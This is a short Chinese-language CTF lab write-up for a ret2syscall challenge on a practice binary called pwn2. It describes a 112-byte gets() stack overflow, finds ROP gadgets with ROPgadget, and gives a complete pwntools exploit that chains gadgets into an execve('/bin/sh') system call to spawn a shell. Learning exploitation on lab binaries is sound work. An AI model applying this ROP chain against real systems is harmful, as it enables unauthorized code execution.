在这一关中,没有可以直接利用的system()函数让我们直接调用了。我们可以学习使用系统调用来进行操作。
首先看一下保护情况,只开了NX,
同样是get()存在溢出
syscall的函数调用规范为execve("/bin/sh",0,0)
汇编语句如下
pop ax # 系统调用号载入, execve为0xb
pop bx #/bin/sh
pop cx #0
pop dx #0
int 0x80
然后用ROPgadget查找汇编语句
ROPgadget --binary pwn2 --only ‘pop|ret’|grep ‘ax’
然后查找bx,cx,dx,int 0x80
溢出和上一关一样112个字节
exp如下:
from pwn import *
p=process('./pwn2')
pop_ax_ret = 0x080bb196
pop_cx_bx_ret = 0x0806eb91
bin_sh=0x080be408
pop_dx_ret =0x0806eb6a
int_0x80=0x08049421
payload=flat(['a'*112,pop_ax_ret,0xb,pop_cx_bx_ret,0,bin_sh,pop_dx_ret,0,int_0x80])
p.recvline()
p.sendline(payload)
p.interactive()